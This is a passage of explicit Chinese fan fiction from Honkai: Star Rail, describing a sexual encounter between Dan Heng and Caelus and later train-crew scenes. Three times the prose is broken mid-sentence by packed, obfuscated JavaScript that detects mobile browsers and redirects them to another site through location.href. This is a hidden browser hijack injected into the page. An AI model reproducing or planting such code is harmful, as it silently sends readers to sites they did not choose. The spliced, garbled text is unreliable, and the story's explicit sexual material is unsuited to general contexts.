出来接水的丹恒听到车厢那边的动静,他脸色严肃紧张了起来,打开门,就看见三月七和穹两个人抱在一起,哭得上气不接下气。 粉头发的少女一边哭一边劝穹别哭了,而穹哭得没什么声音,只是眼眶通红,眼泪流个不停,鼻尖都红了起来,他抬起手,似乎想要说什么,却被三月七一把抓住了手,继续说道。 “你跟咱说啊,到底谁讨厌你了,咱去给你报仇,一定要找回这个场子,谁来都不好使,必须给你欺负回去!我们去找杨叔,把那个人揍一顿好不好,穹,你别哭了呜呜呜。” 穹神情更焦急了,他抬起那双被泪水浸润的金色眼眸,连忙摇摇头,表示自己没有被谁欺负。可能是哭得太狠了,还一直打嗝,青年很难说出连续的话来。 丹恒本来打算过去的脚步停住了,他僵硬地看着那边哭得很伤心的青年,只觉得自己的心都好像被绞得如刀割似的痛苦。 是自己的问题吧。 他不该推开穹的,也不该就这么逃走…… 那副避之不及的样子,就好像因为穹遇见那种事情后,就开始讨厌嫌弃他了。可是,穹他又有什么错?他也不懂这些吧,而且会遇见丹枫,那也是因为担心自己,才会去罗浮找景元。要不是关心自己,穹怎么也不会遇见这些坏事情。 自己怎么可以心安理得躲在角落里,只顾自己呢? 丹恒重新看了一眼那边的三月七和穹,抿着唇,纤长白皙的手指缓缓合拢,捏紧了杯子。持明龙裔垂下眼眸,慢慢的坚定了神情,在心里下定了一个决定后,丹恒转身走进了黑暗之中。 不过,在此之前,他需要去做一点准备工作。 —— 穹死命地挣扎,总算挣脱了三月七莫名大力的怀抱,然后他顺了顺气,一边哭一边快速把自己想要说的话说完。 “三月,呜呜,你别哭了,我没有事。是我的花有问题,也不对,是这个花的汁液有问题,刚刚我用手指擦眼泪,直接擦上去了,现在它让我哭得停不下来了,怎么办啊啊啊!我快喘不过气了!!!” 少女的哭声被哽住了,她瞪大眼睛看着对面哭得像个花猫的青年,抬起手指颤抖着,良久才吐出一句话。 “你这家伙,你这家伙,我的情绪全白费了呜呜呜——” “呜呜呜,你别哭了,你一哭我也忍不住啊,呜呜呜,救命啊!!!要死人啦!” 在智库收拾东西的丹恒听见了那边隐约的哭泣声,神情更显沉默,他抬起头,水波恍然聚散显出了本相,一双青透凌厉的眼睛里倒映着透明窗户上的闪烁星图。 持明的年轻人将薄唇抿成一条线,收拾东西的速度更是快了几分。之后更是快速翻阅一些资料讯息,让自己能在后面的事情之中,不会出岔子,可以给人最好的体验。 当天晚上,穹疲惫又憔悴的回到了自己的房门前。 下午的时候,还好是靠谱的杨叔和姬子两个人及时出现,拯救了自己,才没有让自己堂堂一代开拓者——鼎鼎有名的银河球棒侠,卒于被自己哭死。 要是真这样,那可太有乐子了。 恐怕阿哈这个乐子神高低都要过来,给自己的葬礼上送一捧花…… 谁会想到那个看起来不起眼的花能这么可怕啊。呵……明天一定要去看看登记表,到底是谁把这种奇奇怪怪的花送上列车来的,简直是恐怖大杀器。 ——此仇不报非君子!这一波,真的哭得什么里子面子都没有了…… 穹一边愁眉苦脸地想着,一边随手打开房间,走了进去。 咦……里面好像有人?是丹恒吗? 他看着房间里模糊的身影,抬起手,轻轻按下了灯的开关。 “咔”。 明亮的光线照亮了整个房间。 穹虚了虚眼睛,抬起头之后,和房间里的龙裔那双漂亮清透的眸子对上了视线。 哇偶,是本相的丹恒! 他真好看啊。 “穹,我来赴约了……”是丹恒清冽好听的声音,轻轻的响起,传入穹的耳朵里,悦耳极了。 大名鼎鼎的开拓者还没回过神,他听到丹恒对自己神情认真地重复了一遍以后,大脑更是陷入了一片茫然之中。 赴约,赴什么约? 16.穹:兄弟你好香啊 穹看了看对面的人,目光在丹恒镇定的脸上一扫而过,他茫然地眨眨眼,最后眼睁睁的看着青年走向自己,神情坚定,好像要做什么一番大事一样。 “穹……” 他听见丹恒在喊他,和之前另一个长得一模一样的男人不一样,那位名叫丹枫的龙尊大人,声音更冷冽傲气几分,丹恒的声音虽然同样清冽好听,语气却是极温柔的。 额生双角的持明抬起那张清绝出尘的面容,眼尾飞红,青瞳如玉。他身姿轻盈地走了过来,距离一点点拉近。 穹感觉气氛莫名的紧张起来,青年僵硬着身体,退了一步,手往后撑着房门,身体微微下压抬起头看着丹恒,这个姿势让他凭空弱势几分。 属于龙尊的清淡气息包围了他。是一种好闻浅淡的花香气,带着隐隐约约的水汽潮湿,不起眼之间,便将人周身的空气一寸寸侵染。 丹恒注视着眼前这个人——自己的伙伴,也是他如今认可的同行人。 灰发的青年无疑有一副很是英俊的长相,漂亮的金色眼睛大而澄澈,此刻正微微抬头看他,眸子里带着一丝小心翼翼,还有不曾掩饰的困惑,因为之前狠狠哭泣过,眼角还留有浅淡红痕。 丹恒伸出手,骨节细长的手指抚上他的眼角,青年乖乖的闭上眼任由他碰,也不闪躲,这是一种无比的信任姿态。 他,欢喜着自己…… 他……该是我的…… 有未知的呢喃在耳边回荡。 龙裔抿着薄唇,清透的瞳孔盯着面前的人,他的眸色在不经意间悄然变深,在丹恒不知道情况,他显露出了非人的一面。而这种状态,也是他曾在丹枫面前所透露出的本质,那一种从骨子里与生俱来的本质。 穹被那犹如实质的视线看得心头发毛,但却一步也没有再动过。穹相信丹恒不会对自己不利,没有理由,就是这么下意识的信任着。 丹恒继续打量着,犹豫着,清澈明亮的眼底倒映着穹的身影。 灰发的青年平时话不怎么多,若是板着脸,也自有一种别样的冷漠气势。他要是维持着这样的状态看人时就显得有些凶狠,不过大多数时候,青年都是一派平和软糯的样子,性格很好,甚至呆呆愣愣。 此刻,丹恒看到他微微闭着而颤抖的眼皮,和他干燥而柔软的唇瓣。俊气的青年看起来毫无攻击性,呼吸有点急促,胸膛起伏不定,却一动不动,像一只敞开了肚皮的小动物,对自己抱着极大的信任之色。 丹恒下定了决心,他搭上了穹的肩膀,温暖的体温从接触的地方晕染过来,青年吻了上去,两人的唇瓣贴在一起摩.擦着,他含住了穹的上嘴唇缓缓吸.吮,然后抵开那排毫无防备的牙齿,搅.nong着对方的口腔。 “丹恒?!” 什么情况?什么情况,这是什么好事突然降临了? 穹压根一点都没有想起自己之前那极其离谱的发言行为,只觉得有一种惊天大喜突然砸到头顶,把他都给砸晕乎了。 “嗯?” 丹恒微微抬头和人分开一点距离,抵着穹的鼻尖蹭了蹭,他的神色带出了一点随性,漂亮的青年微撩眼皮,就这么瞥了穹一眼,就把人想要说的话给全部消得干干净净。 “嗯、嗯…”他真好看! 灰发的青年觉得自己有点腿软,丹恒这样的姿态也太犯规了。 穹下意识想摸自己的鼻子,他怕自己控制不住,被好兄弟漂亮的脸蛊惑的流鼻血,要是那样,他就真的社死了。 但被吻得沉迷的穹舌尖只是瑟缩了一下,刚想动手,反而才察觉,自己已经被不知何时出现的一根漂亮的透明龙尾牢牢地缠住了。龙尾冰冷光滑的鳞片蹭着他的手腕,像玉一样滑.腻.温.润,缠绵的锁住他的手。 穹一点也不像面对丹枫时那样慌张,面临这种情况,那就是福利上门啊,他想着,甚至反手扣住漂亮的龙尾巴,不让它逃走,并狠狠地摸了几.把,好好地满足了一下自己一直以来想要摸摸丹恒尾巴的念想。 真好,丹恒在亲自己,还让我摸他的尾巴,好兄弟真是太好了。 穹喜不自禁的想。 敏.感的龙尾被摸,丹恒低低的喘了一口气,平稳的呼吸变得凌乱了一瞬,他下意识的让自己的尾巴松开穹,结果刚一放松,反而被青年反客为主的一把握住。这番举动,让得丹恒微微瞪了瞪眼睛,青瞳神色晃动。 “丹恒……”穹这个时候也懒得管现在到底是什么缘由了,他笑了笑,圆圆的金色眼睛弯了起来,明明是狗狗一样的眼睛,此刻却带了一丝攻击性,青年仰起头,眼眸亮亮的看着漂亮的龙裔。 丹恒眼神偏离了一下,又重新返回,他舔了舔唇,抿着唇,抬手扣着穹的下巴,唇瓣又覆了上来。 穹的心里马上就放起了灿烂的烟花。他热情地回.吻了过去,没有太多技巧,只是仗着热烈如火的情绪,磕磕绊绊地缠.着丹恒不放。 “嗯、哈……” 丹恒眼帘轻合,将眼底所有情绪都妥帖藏起。长而密的睫毛垂落,在眼下晕开一层浅淡的阴影,随着呼吸的节奏,极轻地颤动着,像停在雪面上的蝶翼,连扇动都带着小心翼翼的沉静。 若穹凑近些,能看见他眼睫末梢泛着极细的光,而眼睑下方,还隐约透着一丝属于持明族的青色微光——不是张扬的亮,是像浸在温水中的玉,晕开的朦胧光泽,藏着未显的力量,也裹着他独有的、不疾不徐的安稳。 穹哼了几声,抬起手揽住了丹恒的脖子,不然让他离开,继续和他唇齿相依的接着吻。本相为龙的青年舌.头软.软的,冰冰凉,微微的长.度缠着他的舌尖,灵活而温柔。 好喜欢…… 吻毕,丹恒离开了穹的唇瓣。再不放开穹,这家伙就快要把自己憋的喘不过气了。清冷如玉的龙拉开两人距离,一丝晶莹的粘ye勾连着,se情至极,穹下意识地就把它舔.回了嘴里。 丹恒的眼眸沉了沉,他的眸子不受控制的微微拉长,转为了更为威严而冷冽的龙的瞳孔。 这幅模样的穹,是丹恒从未见过的。他见到青年眼底微红,浅浅的水色盈在一汪金色之中,带着一种期待着隐隐得不易察觉的勾.引。 丹恒眼底的yu色更深几分,他抬起手指,随意地挽了挽耳边垂落的墨发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529734|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,左耳之上的莲花耳坠被修长手指擦过,不停晃动起来。这微妙的弧度,将穹的目光吸引,凑过去,微微咬住了持明青年那尖尖薄薄的耳朵,用尖尖的虎牙轻轻研磨.舔.弄,直至那皮肤充.血的红.润起来。 丹恒被这个举动弄得呼吸一滞,还未等他说什么,反而是穹上前几步,推着他,一路来到了床边。他将人推到,长腿一迈,最终跨坐在了丹恒柔韧的大腿上。 这动作可熟练了。 大概是已经在某个龙身上学到了精髓。 穹的耳朵已经红了,但他却依旧眼眸亮晶晶的看着丹恒,看着被自己压在身下,一头墨发散乱,容颜昳丽绝俗的青年,神色更显兴奋。 “丹恒!你真好看啊,所以……我们来做吧!” 这是没有没什么连贯意思的上下语句,丹恒心想,不过他没忘自己的目的。 他看过去,穹对他毫无阴霾的笑了笑,唇角挑起,颊边露出一个不起眼的小酒窝来,青年活力十足的声音在耳边响起。 这个样子,比之前在车厢哭泣的模样要好的太多了。 只是——穹他……好主动…… 丹恒有点不知所措了。 比较丹恒遇见过的几个人,好吧,也没有几个。只应星和景元两个人罢了。那位工匠虽然中间有过主动,但本质还是矜持且羞耻的,放不大开;景元也是如此,男人只是习惯性的逗弄自己,用丹恒的窘迫来掩饰自己的不自在,通过对比让自己心安。 可是穹和他们都不一样,他无所拘束,更偏好于百无禁忌之态。他喜欢这个,便毫不掩饰,主动索取。青年没有什么羞耻的情绪,他坦率地想要更多快乐。 “嗯,好……”漂亮的龙裔点点头,如愿看见穹脸上的神情更为喜悦起来。 丹恒眨眨眼,看着穹将自己的上衣利索脱掉,露出里面白皙结实的胸膛。已经过去好几天了,穹身上那些由丹枫印下的痕迹早已经不见了踪迹。丹恒伸手抚了抚青年的脸,却被他抓着放到了胸口处。 “丹恒,你摸这里。”穹对他说着,眼睛眨了眨,“之前丹枫那家伙咬得有些疼,不过后面就舒服多了。我也挺喜欢的,丹恒你试试?不过别太用力了,后面我养了好几天呢,之前碰一下都觉得难过——”害得他不得不在上面贴上创可贴,不然都没办法正常行动了。 丹恒:“……” 持明的青年神色微微一滞,他停顿了一下,才点点头,语气轻了下来:“我知道了,穹。” 然后丹恒抓住穹的手臂,腰身用力,两人的上下姿态瞬间颠倒了过来,他压在青年身上,面色平静,青碧如水的眼睛里满满倒映着穹的身影。 “我会好好做的,穹。你不需要再提丹枫了。”他低下头,墨色的长发顺着线条利落的白皙肩颈滑落,几缕发丝轻轻扫过穹的脸颊,带着丝微凉的触感。 他没有再继续靠近,只是维持着这样的姿势,望着身下的人。垂落的长发在两人之间织就一道细碎的屏障,将外界的光影都隔在外面,只剩彼此交缠的呼吸。 “我想,你需要把接下来的注意力还有精力,都放在我的身上……” 17.英雄可不能临阵脱逃 丹恒用手撑着床沿的位置,骨节微绷间缓缓直起身,肩线随着动作舒展成一道利落的弧度。垂落的黑色长发滑过肩膀,他抬手用指腹轻轻将耳侧的发丝挽至耳后,露出线条干净的下颌,顺滑柔软的发尾扫过穹的脸颊时,还带着几分未散的微凉。 差不多可以了,丹恒没有太多废话。 穹感受到丹恒的动作,对方很轻柔和稳定,不疾不徐地进行着,他深吸口气,伸手抓住了丹恒的手腕。 丹恒微微停顿了一下,轻声开口问:“不舒服了吗?” 穹摇摇头。 还好,只是有点涨。 可能是之前体验过一次,而且还被做得蛮惨的,所以他现在有经验了,这次比之前可就轻松多了。 当然穹没敢这么跟丹恒说。 灰发的年轻人只是喜欢搞抽象,不是真的没情商。 他又不是眼瞎,看不出来丹恒并不高兴自己提起那个前世的饮月君丹枫。作为丹恒的亲亲好兄弟,穹当然不会这么没有眼力见,去破坏丹恒的心情。 于是,他只是眨眨眼,抬起的那只手腕顺着对方手臂往上,想要试探的去摸摸对方尖尖的耳朵,同时又摇摇头,表示自己一切良好——继续哇,丹恒老师。 英雄可不能临阵脱逃啊.jpg 有过一次体验的身体,这回很轻易的被唤醒了熟悉的感官。 “唔…” 丹恒一边开拓,青色剔透的眼眸一边牢牢注视着对方的反应。穹的反应有些大,他的胸膛剧烈起伏着,从喉咙里发出低低落落的吸气声,在隔音效果很好的安静房间里回荡。 穹张开嘴,大口呼吸着,他那好像听见了近在咫尺的隐约水声,还有自己急促的呼吸声,而上方微微倾身的丹恒老师依旧如深海之水一般的沉静。 那双青色眼眸剔透得像浸在寒潭里的玉,此刻正垂眸望着他,眼底没有半分波澜,却又似藏着深不见底的星河。眼尾那抹红痕在近距下愈发清晰,像画师不慎落下的朱砂,为他精致如画的眉眼添了抹恰到好处的艳色,中和了周身自带的冷冽气息。 穹几乎要被这条龙近在咫尺的不经意间透露出的艳色给勾得魂飞天外。他顺手捏了一把对方脸颊后,轻轻拂了拂那头如墨的冰凉长发。 垂落的黑色长发还在轻轻晃动,几缕贴在他线条流畅的下颌,随着呼吸的起伏微微蹭过穹的锁骨。 被穹突然袭击,丹恒微微愣了愣,倒也不恼,反而低下头让对方能更好的触碰到自己。美丽的龙裔垂下眼睑,长长的睫毛轻轻搭下,在白皙的皮肤上留下浅浅的阴影。 在灰发青年的视线中,持明龙裔将浅色的薄唇勾起一抹弧度,他露出一个清浅的笑来。 丹恒抬起自己的手指,白皙细长的手指之上满是水痕,如果最开始那是自己的云吟术所凝聚的水,现在便不是了。 “穹……”丹恒轻声唤着他的名字。 他抬起头,金色的眼眸被涌上来的生理性泪水湿润,好像有点看不清丹恒的面容,穹心想——这可不行,便胡乱摸了摸自己的脸颊,擦掉碍事的泪水。 一缕红色的发丝滑了下来,落在穹的脸颊处,微凉的温度。 “穹……” 他听见了,但什么也没有说,只是微微仰头,咬住了那一缕红色的发丝,将声音咽在嘴里。 他还记得,丹枫好像不喜欢他太吵闹了,那么丹恒作为对方的转世,在这方面应该也一样吧? 可下一秒,丹恒的手指勾着他的下巴,俯身舔了舔青年的唇瓣,舔过咬出来的牙印子。 “穹,不用忍着自己的声音。”他的声音轻而温柔,“我喜欢听见你的声音。” “……真的?” 不用憋着?这么好? 丹恒老师果然很喜欢我! 穹又笑了,他吐出那一缕头发,凑上去和漂亮的持明亲吻。 “果然,还是丹恒你最好……丹枫那家伙就是一个大坏蛋!他不是好人,你一定要离他远点啊,丹恒。” “哼……” 青年冷哼一声,不去想自己前世的那些破事。看来他还是太温柔了,穹现在还有心思去想这些乱七八糟,无关紧要的事情。 于是穹遭了殃。 事实证明,不管丹恒之前表现的有多温柔,都不影响他接下来的不当人。男人都这样,除非他不行,更别说占有欲爆棚的龙…… 穹眨眨自己金色的眼眸,感觉自己真是个乌鸦嘴,控制不住地坑害自己啊。 “丹恒……丹恒……” 穹抽了一口凉气,开口叫了几声丹恒的名字,对方只是清清冷冷地歪歪头,对他轻笑了一下,好看却在穹眼里带着一丝“魔鬼”的味道 没想到,看起来温温柔柔,一直很平和的丹恒,在这种时候会是这般模样。 清冷而淡然自持的丹恒,这种时候却非常有侵略性,很凶,和那张平时看起来冷冷淡淡的清冷模样截然相反。 比丹枫那家伙还要出格,还好自己身体还挺好的,蛮结实的——这可是放着星核的超强体格,我真厉害! “穹,不要分神……” 好好,不分神。 闻言,穹抬头盯着丹恒,目不转睛,就算汗水滑落也舍不得眨眼。 喜欢…… 丹恒的动作慢了下来,他开始有技巧性地,撩拨灰发伙伴的状态。 一味的使力蛮干是不行的,要抓住他那些散逸的思维。在自己身边,就不要再去想一些无关紧要的人或者事了。 穹……你要听话…… “呃…唔”穹的额头上渗出了细密的汗珠,他皱着眉宇,表情有些难耐,下意识地扭了扭身体,想要更多,却得不到满足。 这时候,丹恒仿佛一点也不着急一般,只是继续这么吊着他,他白皙的手指轻点抚摸着,在穹的皮肤上面捏出道道痕迹。 “呜呜呜,丹恒…啊…丹恒,别……故意这样…呜哈、好痒…重一点…哈……” 听见穹这样恳求他,有着一头如墨长发的漂亮持明歪了歪头,那张没有太多情绪变化的脸上浮现一抹淡淡的浅笑,直把人看得眼神一愣,被罕见的美色蛊惑的恍恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541895|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惚惚不知其所以然了。 丹恒压低身体,凑到穹的耳边,咬了咬他的耳朵,看着青年失神的恳求着,忽然觉得自己这张脸也不是全无用处。 起码它很好看,穹很喜欢。 嗯,景元也喜欢,还有——那个工匠,应星;或许……刃也喜欢…… ——丹枫也喜欢。 他应该合理利用自己的这张脸。 这想法在脑子里过了一圈,丹恒好像眨眨眼,似乎想明白了什么,又似乎没有。 他如穹所愿的加快了速度和力道,他的伙伴很好,真的很好,沉下心绪,丹恒慢慢地体会这可以让人短暂放松一切的快乐。 “啊啊啊,呃……” 穹咬住嘴唇,伸手抓住了丹恒的肩背,在上面挠出一道道眨眼便消散的白痕来。 他没什么大的力气了,修剪圆润的指甲,根本破不了持明龙裔这身看似脆弱莹白实则坚硬如铁的皮肤。只能呜咽着用额头抵着丹恒精致好看的锁骨,眼泪像珠子一样的滑落。 今天才被某种奇怪的花“坑害”过,现在又哭了……穹心念回转着——眼睛都快被哭瞎了喂! 过后一段时间,穹觉得整个身体都麻痹掉了一般,软得不行。 被丹恒松开手,青年就软软的瘫倒在床上,连一根手指头都不想动。 做这个虽然很舒服,可是做完以后,等身体反应过来,就仿佛自己被截肢了一样。 屁股生疼,浑身都疼,也不知道自己是亏了还赚了。 青年碎碎念。 穹瞥过眼,去看在自己身边的丹恒。青年正低着头,眼角绯红,那双青色的眸子在房间明亮的光线下显得波光粼粼,如云的长发散落在肩头身侧,还有自己的手边,零星的散发有些汗湿的贴在青年白皙如玉的脸颊上。明明是如此旖旎的神态,偏又是一副克制冷淡的表情,反而更吸引人注意了。 恢复本相的丹恒,毫无疑问是个大美人,不管看几次,穹都这么觉得。 唔……感觉再多看几眼,自己的屁股都不疼了耶。 穹呵呵笑了笑,往血赚这一选择项的那边增添了“筹码”,心里的天平开始倾斜。 丹恒垂眸,长而卷翘的睫毛轻颤,他看见穹对自己眨了眨眼睛,看起来好像是让自己靠近。 于是他就低下了头,靠了过去。 穹上下打量丹恒。 他的脸颊还泛着微微的红色,淡色的唇瓣由于亲吻而有些红.肿。本是高高在上看起来矜贵清淡的人,却被自己拉着沾染上了世俗的欲.望。 穹看着看着,感觉自己还想继续,并且蠢蠢欲动。 啊,自己这个不争气的身体。 但是他好像没办法再继续了,灰发的青年感受了一下自己可怜的屁股,嘶……痛痛痛……快没知觉了!!!? 能够容纳星核的身体本足够强韧,好像也经不住这个的考验。 于是,穹对上丹恒问询的目光后,他忍痛又可惜地摇摇头,拒绝了青年继续的请求。 ——应该是丹恒老师想继续,对吧? 18.乐于助人好桑博 “什么?居然是这个家伙!帕姆你没有记错吧?”穹瞪大眼睛,表情不敢置信的问自己前面那个垂着两只毛绒绒耳朵的可爱生物——帕姆,也是星穹列车的列车长。 “请不要质疑你的列车长帕,穹乘客。根据上面访客登记簿记载,访客虎克昨天上午确实来拜访过,而那位访客正是捧着一束花来的。帕姆问过,虎克访客说是蓝色头发的叔叔让她带的,要送给你们呢。并且仔细交代说,这可是蓝色头发的叔叔花费了好大力气找来的珍稀品种,整个贝洛伯格都找不到第二束这种花,保准能解决困扰你们的问题。” “帕姆接过以后好好的将花束放在了……”毛绒绒的列车长转过身想要去看那束花,却找了个空,疑惑地用耳朵挠挠头,“咦?不见了,是穹乘客你已经把花拿走了吗?” 穹:…… “呃呵呵,那个……”灰发的青年挠挠头,眼神左右漂移,最后咧开嘴露出笑容,看起来很是勉强的点点头说道:“啊,那个……确实是我拿走的。帕姆不用担心那个的下落。我已经好好的‘使用’过了……” 一想到自己差点把自己哭死,穹就觉得脚趾抓地,无地自容。杨叔和姬子回来看见他和三月七一起抱头痛哭时的惊诧表情能让穹记一辈子,实在是太社死了。唯一幸运的是,那个时候丹恒没有看见…… 他捏紧了拳头,眼角抽搐。好家伙,原来是桑博这家伙在搞鬼,自己遇见他就准没好事! 不过桑博怎么知道自己有事情的? 穹不太懂。 但旁边的三月七给他补充了条件。 “可能是我的原因吧。”粉头发的少女不太好意思的摸了摸鼻子,她说:“因为你和丹恒都是一副紧闭房门的自闭样子,我就去了一趟贝洛伯格,做任务的同时,想拍点照片啥的。正好雪原里遇见了布洛妮娅,她带我去了花店看新进的花,还有跑过来想找我一起玩的虎克。应该是我看起来不太精神,被人看出来了。不过,咱可没有在外面乱说过什么哦。” “所以你的意思是,可能是桑博不知道在哪里听见了,才会把那种奇怪的花拿出来,让虎克带给我?”穹问。“桑博真的在做好事?他会这么好心吗?我有点怀疑……” 顺便,他能不“自闭”吗?那个时候回来,身上全是印子,在它们快速痊愈之前,只能在房间等印子无得差不多了,才出门见人的。 ——那位龙尊真是害人不浅啊! 不如丹恒好兄弟又漂亮又温柔。 三月七眨眨眼:“应该是这样吧。” “不过,看你的状态好像好了很多呢。那个花原来真的可以帮忙啊?”三月七想起现在还在智库不肯出门的丹恒老师,眼眸一亮:“既然如此有效,你那个花还有吗?也给丹恒老师一些吧!” “别别别!你看看我昨天都哭成啥样了。差点就这么撅过去了。”穹连忙摇头。 三月七歪歪头,摊手说,“可你不觉得哭完以后,心情轻松很多吗?” 穹托着下巴陷入沉思:“嗯,确实如此——” 不但心里轻松了许多,甚至后面还有丹恒老师从天而降给自己送了一波大“福利”! 可太让自己开心了。他高兴到都差点忘记,自己之前为了什么不开心了。 满脑子只剩下漂亮的好兄弟来亲自己了。好兄弟又香又漂亮,哇,真是太幸福了…… 实际上,后面穹总算记起自己之前跟丹恒说过的话了。他本以为丹恒肯定不会同意的。万万没想到,丹恒不但满足了自己,还是用得他一直很好奇的持明本相姿态。 简直血赚。 感觉哭一哭,丢个面子什么的都无所谓了。 他可是撸过丹恒龙尾和舔过丹恒龙角的男人! 尽管舔了一口那漂亮的龙角以后,差点把丹恒激得跳起来,用清透如玉的眸子指责的看了他一眼,带着水色,满眼的泫然欲泣。 那眼神……要不是他觉得自己屁.股真的不太行了,穹是想再来几次的。 想到这里,青年幽幽地叹了一口气。 “丹恒,他是不是不打算去匹诺康尼了?”穹问三月七。 三月七叉起腰,看了一眼智库的方向,点点头说道:“照这个情况来看,应该是的。” “所以你还是把那个花拿给丹恒老师试试吧?说不定他心情好转了,就愿意跟我们一起走了……” 有道理,可是…… 穹犹豫了一下,他愁眉苦脸的对三月七摇摇头:“可是我都把花全部榨成汁了。本来打算要是找不到是谁送上列车的,我去一趟空间站,让科员帮忙检查一下那玩意的成分呢。” “所以……花没了?”三月七瞪大了眼睛。 穹无奈摊手:“没了,全部变成汁了……” “好吧……”三月七摸摸下巴,“可我觉得那个汁水也能用吧。等检查完了,没有危险性的话,我们还是继续送给丹恒老师吧。” 穹听话地点点头。 “好啊。” 丹恒这么一直憋着情绪,确实不怎么好。有时候大哭一场,也不失为一种释放压力的方式。 说不定他还能看见丹恒哭泣的模样,一定很漂亮吧。 虽然有点不道德,穹抬起手摸摸自己的良心,嗯,还在体内跳动,不管了。他是真的很想看丹恒哭哭的样子——【震声】! —— “丹恒乘客,有你的信。”毛绒绒的列车长迈着小短腿来到智库门口,敲响了门,“请出来收取信件……” “稍等。” 清俊的年轻人打开门,微微弯腰,伸出修长的手指将信件从列车长手中取走,重新回到房中。 他展开信件,面色冷静的看了起来。 ——是景元给他的信。 这是那之后,景元第一次联络他。没有使用别的方式,反而用信件的方式。 倒也挺符合景元的性格。 丹恒心想。 是丹枫那边又出什么事情了吗? 如果景元需要帮忙,自己一定会毫不犹豫过去的。 那毕竟是自己的前世。这位龙尊的难搞程度,丹恒算是见识过了。如此强势的性格再加上强大的武力,也不怪乎丹枫为持明历代龙尊之中最为强势那一位。 也得罪了不少看不惯丹枫的敌人,可龙尊不在乎。 却是让丹恒这个后世为此吃了不少苦头。 当然,你问丹恒他恨不恨丹枫,这位后世的持明只会摇摇头,说自己不恨。或许以前在幽囚狱时,有过恨意,但那个时候更多的是迷茫,还有一股子心劲让自己坚持下去,没有多余的思维去恨那个已经不存在的人。 归根结底,自己是丹枫生命的延续,他现在站在这里,自己的未来将是无边星河。 不恨,也不悔…… —— “丹枫,你在写什么?”景元溜达着靠近了铺开纸张好像在写字的男人,他微微伸长脖子,去看那上面的字。 可惜只看到几个字,就被龙尊收了起来,将纸张放入了信封之中,妥善的封好,还在他眼前晃了晃。 丹枫轻轻勾起嘴角:“给小恒写信呢。” 景元眨眨眼:“那你有什么避着我的?你不会是又想了一些奇奇怪怪的东西,去祸害丹恒吧?听星穹列车的人说,那孩子已经自闭好久了,你可别再去火上浇油了,丹枫哥。” 丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543268|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枫奇怪的挑挑眉:“我是那种人吗?” 景元对着龙尊笑而不语:“……” 您觉得呢?我亲爱的龙尊大人? 丹枫沉默了。 男人伸出修长的手指,掐住景元的脸蛋,扯了扯,似笑非笑的道:“你小子长大了,胆子也跟着大了是吧?也来调侃我了?” “只是想去邀请小恒来罗浮过节罢了。景元,我有预感,或许过不了多久,我就要回去了。”丹枫松开掐着景元脸的手指,又轻轻抚了抚,聊胜于无的安慰姿态,他看向窗外那颗枫叶正红艳的树,表情重新恢复淡漠,“临走之前,再见一见自己的后世,没有问题吧?” “景元,看见你把他护得这么好,我还挺高兴的。” “嗯哼。” 白发将军神色未动,关于丹枫的离去,他早有心理准备,这些时日仿佛是偷过来的一般,只觉得充实又不真实。 过了一会儿,景元笑了笑,他耸耸肩,说:“所以这是你用我的名义来诓骗丹恒过来的理由吗?” 对面的龙尊大人抬抬下巴,一脸的理所当然。 “当然,如果是我说想见丹恒,他会过来吗?” 景元肯定的点头:“毫无疑问,他绝对不会过来的。你看看你,丹枫哥,把人孩子吓成什么样了。” “哼!”丹枫蹙眉,“这般心性,身为持明的尊长,他有点不合格了。” “算了,个人有个人的缘法。” 景元听到这个,没有去纠正丹枫的错误认知,只是眯眯眼,唇角微勾起,是个闲适慵懒的笑脸。 纠正不了,他试过的。不然,景元真的想试一试,如果让丹枫提前得知后面的饮月之乱,会不会有不一样的结果? 但这样的想法也只是想一想罢了。 时间的悖论,牵扯太多了。就算是景元,也不能保证,真的改变以后会出现什么问题。 他甚至心里有点庆幸,自己从一开始就不存在修改那份既定结局的机会。 “既然你邀请了丹恒,到时候我可得好好招待一下。嗯——我再确认一下,丹枫哥,你这回真的不会突然让丹恒做那些事吧?我虽然不怎么介意,但是丹恒看起来挺难接受的。” 作为一个成年人,景元真觉得这个没什么,更别说对他发出邀请的是丹枫。别人怎么想,景元不知道,反正他自己可不觉得亏了。 丹恒和丹枫,这是双倍的快乐啊。 都是成年人,当然是全部要了。 早在七百年前,他对丹枫的心思,也就龙尊大人本人不知道,也没在意过了。 尽管不知道为什么丹枫哥突然开窍了,但这挡不住景元愉快地享受自己迟来的福利。 不过丹恒和丹枫不一样,景元还是会稍微顾惜一下这根长得极为正直的好苗子。 